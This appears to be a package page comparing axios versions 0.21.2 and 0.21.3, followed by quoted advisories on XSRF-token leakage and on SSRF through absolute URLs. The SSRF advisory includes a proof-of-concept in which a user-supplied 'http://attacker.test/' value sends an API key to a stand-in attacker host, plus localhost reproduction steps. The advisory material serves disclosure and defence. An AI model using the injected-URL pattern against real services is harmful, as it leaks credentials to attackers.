Axios is a popular promise-based HTTP client designed for both browser and Node.js environments, simplifying the process of making HTTP requests. Comparing versions 0.21.3 and 0.21.2 reveals subtle but important insights for developers. Both versions share identical dependencies, including "follow-redirects" for managing HTTP redirects seamlessly, and a suite of development dependencies used for testing, building, and linting the library such as webpack, karma, mocha, and eslint.
However, the key difference lies in the distribution details. Version 0.21.3 has a slightly larger unpacked size of 373047 bytes compared to 0.21.2's 372594 bytes, suggesting minor code or build-related adjustments. The release dates also highlight the recency of 0.21.3, released a few hours after 0.21.2.
For developers, this means upgrading to 0.21.3 likely includes bug fixes, performance improvements, or minor feature tweaks that do not impact the core API since its dependencies are unchanged. Although the size difference is small, it signals a potential refinement in the codebase. As a best practice, it's recommended to review the Axios GitHub repository's changelog or release notes associated with version 0.21.3 to understand the specific changes implemented and assess their impact on your application, ensuring a smooth upgrade. Choosing the latest version will provide the most recent features.
All the vulnerabilities related to the version 0.21.3 of the package
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
baseURL
is set, passing an absolute URL such as http://attacker.test/
to get()
should not ignore baseURL
.baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL
.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
baseURL
and does not validate path parameters is affected by this issue.